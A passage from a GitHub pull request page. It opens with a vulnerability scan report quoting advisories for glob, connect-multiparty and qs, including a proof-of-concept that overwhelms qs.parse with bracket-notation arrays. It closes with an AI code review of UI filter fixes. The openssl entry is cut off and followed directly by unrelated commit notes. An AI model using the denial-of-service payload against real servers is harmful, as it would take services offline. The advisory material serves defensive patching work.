  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
critical: 0 high: 1 medium: 0 low: 0 connect-multiparty 2.2.0 (npm)

pkg:npm/connect-multiparty@2.2.0

high 7.8: CVE--2022--29623 Unrestricted Upload of File with Dangerous Type

Affected range<=2.2.0
Fixed versionNot Fixed
CVSS Score7.8
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score0.448%
EPSS Percentile63rd percentile
Description

An arbitrary file upload vulnerability in the file upload module of Express Connect-Multiparty 2.2.0 allows attackers to execute arbitrary code via a crafted PDF file. NOTE: the Supplier has not verified this vulnerability report.

critical: 0 high: 1 medium: 0 low: 0 qs 6.13.0 (npm)

pkg:npm/qs@6.13.0

high 8.7: CVE--2025--15284 Improper Input Validation

Affected range<6.14.1
Fixed version6.14.1
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.152%
EPSS Percentile36th percentile
Description

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}

Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}

The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:

npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)

Test 2 - DoS demonstration:

const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Configuration:

  • arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
  • Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

  1. Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)
  2. Application parses with qs.parse(query, { arrayLimit: 100 })
  3. qs ignores limit, parses all 100,000 elements into array
  4. Server memory exhausted → application crashes or becomes unresponsive
  5. Service unavailable for all users

Real-world impact:

  • Single malicious request can crash server
  • No authentication required
  • Easy to automate and scale
  • Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}

Fixed code:

if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}

This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

critical: 0 high: 1 medium: 0 low: 0 qs 6.5.3 (npm)

pkg:npm/qs@6.5.3

high 8.7: CVE--2025--15284 Improper Input Validation

Affected range<6.14.1
Fixed version6.14.1
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.152%
EPSS Percentile36th percentile
Description

Summary

The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

Details

The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}

Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}

The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoC

Test 1 - Basic bypass:

npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)

Test 2 - DoS demonstration:

const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Configuration:

  • arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
  • Use bracket notation: a[]=value (not indexed a[0]=value)

Impact

Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

  1. Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)
  2. Application parses with qs.parse(query, { arrayLimit: 100 })
  3. qs ignores limit, parses all 100,000 elements into array
  4. Server memory exhausted → application crashes or becomes unresponsive
  5. Service unavailable for all users

Real-world impact:

  • Single malicious request can crash server
  • No authentication required
  • Easy to automate and scale
  • Affects any endpoint parsing query strings with bracket notation

Suggested Fix

Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.

Current code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
        ? []
        : utils.combine([], leaf);  // No arrayLimit check
}

Fixed code:

if (root === '[]' && options.parseArrays) {
    // Use currentArrayLength already calculated at line 147-151
    if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
        throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
    }
    
    // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
    if (currentArrayLength >= options.arrayLimit) {
        obj = options.plainObjects ? { __proto__: null } : {};
        obj[currentArrayLength] = leaf;
    } else {
        obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
            ? []
            : utils.combine([], leaf);
    }
}

This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).

critical: 0 high: 1 medium: 0 low: 0 openssl 3.5.0-r0 (apk)

pkg:apk/alpine/openssl@3.5.0-r0?os_name=alpine&os_version=3.22

high : CVE--2025--9230

Affected range<3.5.4-r0
Fixed version3.5.4-r0
EPSS Score0.026%
EPSS Percentile7th percentile
Description

- Fix button visibility when expanding filters with many items
- Hide show less button when search results have 5 or fewer items
- Show show less button when search results have more than 5 items
- Reset button state correctly when search input is cleared
- Fix collapse/expand to show correct number of items during search
Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

🤖 Fix all issues with AI agents
In `@website/modules/asset/ui/src/initCaseStudiesFilterHandler.js`:
- Around line 203-208: The code assumes button.closest('.filter-content') always
returns an element; add a null-check after computing filterContent in
initCaseStudiesFilterHandler (or the surrounding handler) so that if
filterContent is null you bail out (e.g., return) before calling
filterContent.querySelector() or querySelectorAll(); this protects the
subsequent references to searchInput, isSearchActive, textElement and allItems
from throwing a TypeError.

In `@website/modules/asset/ui/src/searchInputHandler.js`:
- Around line 106-115: Inside the else branch that handles showMoreButton
visibility (where visibleCount > defaultVisibleCount is already true), remove
the redundant inner if condition checking visibleCount > defaultVisibleCount and
directly query and update the button: find
showMoreButton.querySelector('.tags__show-more--text') into textElement, if
textElement exists add the 'tags__show-more--expanded' class to showMoreButton
and set textElement.textContent = 'Show less' (affecting the logic in
searchInputHandler.js around showMoreButton, textElement, visibleCount,
defaultVisibleCount).
📜 Review details

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 1823562 and 7a1ee12.

📒 Files selected for processing (4)
  • website/modules/asset/ui/src/initCaseStudiesFilterHandler.js
  • website/modules/asset/ui/src/scss/_cases.scss
  • website/modules/asset/ui/src/searchInputHandler.js
  • website/modules/testimonials/index.js
🧰 Additional context used
🧠 Learnings (7)
📓 Common learnings
Learnt from: Anton-88
Repo: speedandfunction/website PR: 223
File: website/modules/asset/ui/src/scss/_cases.scss:1289-1296
Timestamp: 2025-08-29T09:36:15.180Z
Learning: In website/modules/asset/ui/src/scss/_cases.scss, the user Anton-88 prefers to keep position: sticky for the .filter-modal__content despite potential technical concerns, citing the complicated modal structure as the reason.
📚 Learning: 2025-05-14T09:44:56.398Z
Learnt from: yuramax
Repo: speedandfunction/website PR: 84
File: website/modules/case-studies-page/views/index.html:87-90
Timestamp: 2025-05-14T09:44:56.398Z
Learning: For the Case Study cards in website/modules/case-studies-page/views/index.html, the "type" and "industry" fields are temporarily hard-coded with values "Mobile Development" and "Manufacturing" as placeholders. These will be replaced with dynamic data ({{ article.type }} and {{ article.industry }}) in a future task.

Applied to files:

  • website/modules/testimonials/index.js
📚 Learning: 2025-08-29T09:36:15.180Z
Learnt from: Anton-88
Repo: speedandfunction/website PR: 223
File: website/modules/asset/ui/src/scss/_cases.scss:1289-1296
Timestamp: 2025-08-29T09:36:15.180Z
Learning: In website/modules/asset/ui/src/scss/_cases.scss, the user Anton-88 prefers to keep position: sticky for the .filter-modal__content despite potential technical concerns, citing the complicated modal structure as the reason.

Applied to files:

  • website/modules/asset/ui/src/scss/_cases.scss
📚 Learning: 2025-12-05T10:45:00.494Z
Learnt from: IhorMasechko
Repo: speedandfunction/website PR: 226
File: website/modules/asset/ui/src/scss/_cases.scss:1399-1414
Timestamp: 2025-12-05T10:45:00.494Z
Learning: In website/modules/asset/ui/src/scss/_cases.scss, the .cs_partnership element intentionally uses min-width: 430px as per specific task requirements, even though this may cause horizontal overflow on small mobile devices (320px-375px viewports). This is an intentional design decision.

Applied to files:

  • website/modules/asset/ui/src/scss/_cases.scss
📚 Learning: 2025-05-29T07:16:52.843Z
Learnt from: IhorMasechko
Repo: speedandfunction/website PR: 132
File: website/modules/asset/ui/src/scss/_not-found.scss:52-64
Timestamp: 2025-05-29T07:16:52.843Z
Learning: In website/modules/asset/ui/src/scss/_not-found.scss, the .two-buttons container with flex-direction: row and child .sf-button elements having width: 100% does not cause overflow issues and renders correctly, despite theoretical expectations.

Applied to files:

  • website/modules/asset/ui/src/scss/_cases.scss
📚 Learning: 2025-08-13T15:03:43.822Z
Learnt from: CR
Repo: speedandfunction/website PR: 0
File: .cursor/rules/code-conventions.mdc:0-0
Timestamp: 2025-08-13T15:03:43.822Z
Learning: Applies to modules/asset/ui/src/index.js : modules/asset/ui/src/index.js: relaxed function lines and function style rules

Applied to files:

  • website/modules/asset/ui/src/scss/_cases.scss
📚 Learning: 2025-07-02T08:15:36.173Z
Learnt from: yuramax
Repo: speedandfunction/website PR: 191
File: website/modules/asset/ui/src/scss/_leadership-team.scss:213-216
Timestamp: 2025-07-02T08:15:36.173Z
Learning: In website/modules/asset/ui/src/scss/_leadership-team.scss, the `.leader-bio` element intentionally uses `overflow-y: hidden` at the `breakpoint-extra-large` level to completely remove scrollbars on desktop devices, while maintaining `overflow-y: auto` at the `breakpoint-large` level for tablets. This design decision relies on content managers controlling bio text length to prevent overflow on desktop, ensuring a clean scrollbar-free experience on larger screens.

Applied to files:

  • website/modules/asset/ui/src/scss/_cases.scss
🧬 Code graph analysis (2)
website/modules/asset/ui/src/searchInputHandler.js (2)
website/modules/asset/ui/src/index.js (1)
  • container (31-31)
website/modules/asset/ui/src/initCaseStudiesFilterHandler.js (1)
  • textElement (207-207)
website/modules/asset/ui/src/initCaseStudiesFilterHandler.js (1)
website/modules/asset/ui/src/searchInputHandler.js (3)
  • textElement (110-110)
  • textElement (117-117)
  • isSearchActive (147-147)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (3)
  • GitHub Check: unit-tests
  • GitHub Check: security-scan
  • GitHub Check: e2e-tests
🔇 Additional comments (4)
website/modules/asset/ui/src/scss/_cases.scss (1)

201-201: No issues identified.

The max-height increase to 5000px is a standard approach for CSS transition animations on expandable content.

website/modules/testimonials/index.js (1)

109-112: No issues identified.

Standard Apostrophe CMS column definition for displaying the related case study title.

website/modules/asset/ui/src/initCaseStudiesFilterHandler.js (1)

125-152: No issues identified.

The renamed parameter and added else branch correctly handle both showing and hiding items during collapse animation.

website/modules/asset/ui/src/searchInputHandler.js (1)

116-127: No issues identified.

The reset logic correctly handles clearing the search state by removing the expanded class and setting text back to "Show more".

✏️ Tip: You can disable this entire section by setting review_details to false in your review settings.

@IhorMasechko IhorMasechko merged commit c82617f into main Jan 19, 2026
11 checks passed
@IhorMasechko IhorMasechko deleted the 910-fix/cs-filter-search-on-mobile branch January 19, 2026 09:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants